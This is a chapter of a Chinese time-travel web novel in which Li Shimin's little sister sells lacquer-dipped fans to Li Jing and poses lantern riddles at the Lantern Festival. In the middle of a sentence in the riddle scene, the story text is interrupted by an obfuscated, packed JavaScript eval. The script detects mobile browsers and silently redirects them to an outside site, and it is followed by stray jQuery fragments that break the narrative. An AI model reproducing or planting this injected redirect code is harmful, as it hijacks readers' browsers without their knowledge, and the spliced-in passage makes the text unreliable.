16. 第十六话

作品:《穿为李世民的吃货幼妹

    阿史那云需照管食店生意,李惜愿便请来相对清闲的裴令瑜,上街采买所需材料毕,花费足足两日,制成数沓形状各异的纸团扇。


    她又自画楼中购来一排色泽斑斓的大漆颜料,起初裴令瑜以为她欲作画售卖,却迟迟不见她有所动静,遂问李惜愿葫芦中所卖何药。


    李惜愿只眨眨眸,神秘道至那时便可揭晓,切莫心急。


    翘首以盼之下,光阴如梭流过,璧云随暮日沉坠而褪尽,终于迎来上元日。


    香车宝鞍,华胜雪柳,枝梢悬一轮莹然圆月,道旁灯花明如白昼,游人看客欢声悦语不绝盈耳。


    李世民信守事先承诺,携柴绍越过攒聚人海,踱向李惜愿小铺前,观摊前挂有绳线,其上缀有簇簇团扇,色彩鲜妍,纹路如波澜山峦,交错出奇崛却雅致的图案轮廓。


    “这唤作甚么?”李世民顿觉新奇,不由凑近笑问。


    李惜愿指了指摊旁竖立的木板,李世民循视去,见是两个大字:“漆扇”。


    他方欲再问何谓漆扇,李惜愿瞳眸却被视线中一男子面容钉住,立时不再搭理李二郎,旋即热情凑附来人:“小李将军来了!”


    李世民忽感失宠,倏而闭口,疑惑时亦转首望向男子,识出乃是韩擒虎外孙李靖。


    他与其人并不相熟,但知李靖曾助妹妹送医,她又是格外知恩图报的性子,故而理解了李惜愿对他的殷勤态度,这方心情略略平复。


    李靖今夜随众观灯,想起年前与李家小娘子的约定,他向非失约之辈,君子重诺,即便对方不过是一青稚女孩。


    他在西市寻得李惜愿浮铺,于是伫立,却被女孩一声热切“小李将军”唤得心生拘谨,摇首道:“小六莫再如此称呼,李某不过乃大隋一小吏,并非是何将军。”


    他已年过而立,汉时卫霍早建不朽功勋,然己仍屈沉下僚,惟眼前李小六真挚而笃定地称他为将军。李靖于心中自嘲。


    “啊?”李惜愿挠挠脑瓜,“我只知道您日后定是将军。”


    不过她及时改换称呼,道:“小李先生想不想定作一把漆扇,包管好看,您往昔定未见过。”


    “不知价钱几何?”李靖收拢怅然,以揶揄语调问向她。


    “若要自己选大漆色彩,则十文一把,若选择抽奖抽出随机色,则仅需五文。”


    “为何这‘抽奖’倒能便宜许多?”


    李惜愿乐不可支:“因随机色彩调出来恐不堪入目,有颇大概率丑陋到您的眼睛,故此价钱折半。”


    李靖存了几分谑戏意味,笑容加深:“那李某偏欲‘抽奖’,迎难而上。”


    摊边李世民与柴绍饶有兴致地旁观,三两游人见此地布设奇异,所售货品亦前所未见,不由亦停步驻足,稍顷便围拢了许多看客。


    但见李惜愿向李靖递去一只木匣,比出三根手指。


    李靖会意,将手伸入匣中,佯作极其专注的姿态,从里间抓出三个纸团。


    依次沿折痕打开,见其上字样乃是“璨金”,“湖绿”与“墨蓝”。


    李靖又择了把芭蕉形团扇,李惜愿接过,从一排颜料罐里挑出对应三色,挤瓶滴入木桶水中,以树枝小心搅开。


    待颜料略微散逸,她便手执素色纸扇柄口,缓缓将其沉入水面,旋转挪动,候了须臾,即自水中移出。


    蓦然,一把着色团扇抖落余下水珠,呈现于瞳前。


    观者不禁趋前端详,扇上青黛远山绵亘千里,山脚荡漾幽远清波,金辉缠点山间与顶峰,宛然粲粲朝阳洒落,犹如神来一笔,浑是一幅天成的山水画卷。


    就连李惜愿自己也未曾料及,这三色竟能碰撞出这等奇效。


    “好画!”


    四下骤响赞叹,李靖挽唇:“李某仅凭五文铢钱便获此佳作,实在惭愧。”


    李惜愿俯身轻吹扇面,道:“抽奖本就玩的是惊喜,是美是丑都得认,这是小李先生应得的。”


    复拾起羊毫蘸墨,晃了晃笔杆:“本来扇上题字还需加两文,但念在我与李先生的交情,一并全免了。”


    “那李某多谢小六了。”


    李靖视她忽面露苦恼,转向身旁少年耳语一阵,少年歪头似一番思忖,稍顷亦附耳答复。


    女孩眸光顿一亮,提起笔,于扇面上哗哗题了一行墨迹。


    李靖自她手心中接扇,垂首近察,见那迤逦磅礴的山水之上,已然浮出半干未干,遒如龙蛇的八字。


    ——饮马瀚海,勒石燕然。


    赠未来的大将军。


    .


    大通坊虽不及都会利人二市璀璨彻明,然因圣人嫡次子齐王杨暕府邸居此,而杨暕性喜奢华,于王府前张结三座鳌山灯,耀目惊瞳,是故亦吸引不少游人慕名来赏。


    “彩山煊煌至此,却不知其后征集多少役夫人力,费去民间多少钱缗。”房玄龄途经,不由于人潮哗喧中怅叹。


    同行的长孙无忌往那鳌山灯视一眼,身旁于志宁搭腔:“幸而闻圣人欲南下巡幸江都,明年元日应无此胜景,未尝非一桩善事。”


    房玄龄蹙眉:“圣人再度远游,只恐天下乘危者四起,社稷愈浊。”


    何时能拨云见日。


    男子蹙起的眉宇背后,掩藏不足为人道的感慨。


    “玄龄又作何惘然?”一声轻笑倏而传来,三人循声望去,乃是一身青白襕袍的杜如晦路过,侧畔跟随一绯襦粉裙的少女,举着街头随处可见售卖的怪状青铜面具遮住脸孔,因夜幕幽微,愈发难以视清形容。


    房玄龄道:“无甚,适才偶抒胸臆,恰教克明听入耳中。”


    “玄龄公忧国忧民,常将生灵安危系挂于心,如晦敬服。”


    房玄龄不禁牵唇,与杜如晦望之轻惬,实则澄宁远澈的瞳眸对视,复抱拳揖首:“克明休要打趣,我等与李二郎有约一道观灯,恕先行告辞。”


    别过杜如晦,一行青年穿行拥堵坊门,踱往喧声呼啸的利人市。


    寻到李二郎时,他正与柴绍立于都会市一座席棚前,里间蒙笼幔帐,一盏盏白纱灯琳琅满目,陈列其中,许多人围聚棚内,仰首议论答案,俱是眉头紧锁。


    灯上以墨字撰写灯谜,李二郎已猜出其间两道,低声与柴绍探讨另一谜底,瞥见三人遥遥步来,立即扬笑招手:“此皆乃小六所做灯谜,诸位来替我参谋参谋,这些谜面究竟作何解。”


    “那应当算不得难猜。”于志宁凭借辅导过李小六功课的经验,笃定笑道。


    李二郎挑眉:“还未瞅过一眼,志宁怎敢断言?”


    理解哥哥对妹妹的维护,于志宁选择退让:“是我浅薄了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15532074|170307||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    “我先一试。”


    房玄龄率先上前。


    十秒,房玄龄退后。


    “房某认输。”


    “我说的罢。”李世民眉梢间竟颇得色,“我们小六的灯谜,就连房先生也能难倒。”


    余下数人不禁惊疑,见其中一个灯笼上写道:“甚么植物最老实?”


    房玄龄连猜几个都不对,于志宁亦败阵。


    李二郎与柴绍对视:“果然,我家小六的头脑常人很难揣测。”


    “那究竟是甚么?”于志宁刨根究底。


    “芭蕉。”


    “为何?”


    “因为——老实巴交啊。”李二郎笑弯了腰。


    瞥见于志宁沮丧神情,李世民不再打趣,道:“我猜出了,咱们去寻小六兑换奖励。”


    然而他们发觉家伙事犹在,颜料笔墨一应物什仍七零八落摊放案上,老板却早人去楼空。


    李世民四下环顾,左张右望,仍不见李小六影踪,皱眉疑道:“半个时辰前还在此地,这小孩又跑去了哪儿?”


    “二哥,不好了!”


    一道瘦弱身影拨开人群匆促跑来,众人定睛细瞧,原是惊慌失措的李智云。


    “二哥,城门混进不少趁着取消夜禁乘机溜入的异族流民,四处调戏女子,我瞧见……瞧见,”李智云俯下身,扶膝喘着粗气,抬起手背抹去发际湿汗,“六娘跟杜先生待在一块,六娘被他们缠住了,杜先生在与他们理论。”


    “甚么?”怒火猝然上涌,李世民追问,“他们在何处?”


    “城……城南。”


    脑海中掠过适才杜如晦侧旁女孩人影,众人心生焦灼,一刻也未耽搁,迅疾分头去寻。


    .


    李靖告辞前,李惜愿嘱咐他漆扇未干,一个时辰内莫要沾染他物,李靖应允,李惜愿复笑眯眯凑近:“那我往后还能见到小李先生吗?”


    李靖实言相告,亦不虚辞敷衍:“恐令小六失望了,李某年前已接吏部文书,调任某为马邑郡丞,恐未来数年皆将不在长安。”


    目见女孩顷刻溢出的失望神色,李靖心底竟生出不忍,抚慰道:“日后若是有缘,定能再与小六碰面。”


    悠悠天地间,不死会相逢。她脑际忽冒出这句诗。


    “是噢,有缘再见。”李惜愿重获欣然,长舒一口气,向渐次远去的男子重重挥手,“我等着和小李先生重逢的那一日。”


    之后的李惜愿沉浸于接待主顾,还有观者见她擅于书法,付账后称毋须将扇上漆,光题字便好,她心下不禁暗自得意,同时又觉手脚酸软,忙得连头也无功夫抬。


    若非有裴令瑜帮忙,她委实难以应付。


    远处更楼响起悠远鼓声,李惜愿惊觉自己还未享受这元日美食,李世民倒随着柴绍逍遥远去,正懊恼时,阿史那云终于从酒楼生意中挣扎出闲暇,前来邀请两个女孩逛街赏灯。


    手伸入囊箧中数了数今日收获,摸索出大致赚了不下五百文,李惜愿见好就收,拱手向余下的主顾表示抱歉:“今日要收摊了,各位来得太晚,恕不接待了。”


    将铜钱装入随身携带的照袋里,挂在腰间打了个绳结,李惜愿心满意足地牵上伙伴们的手,连摊上的家伙什也忘了收拾,蹦跳着在灯市间穿行。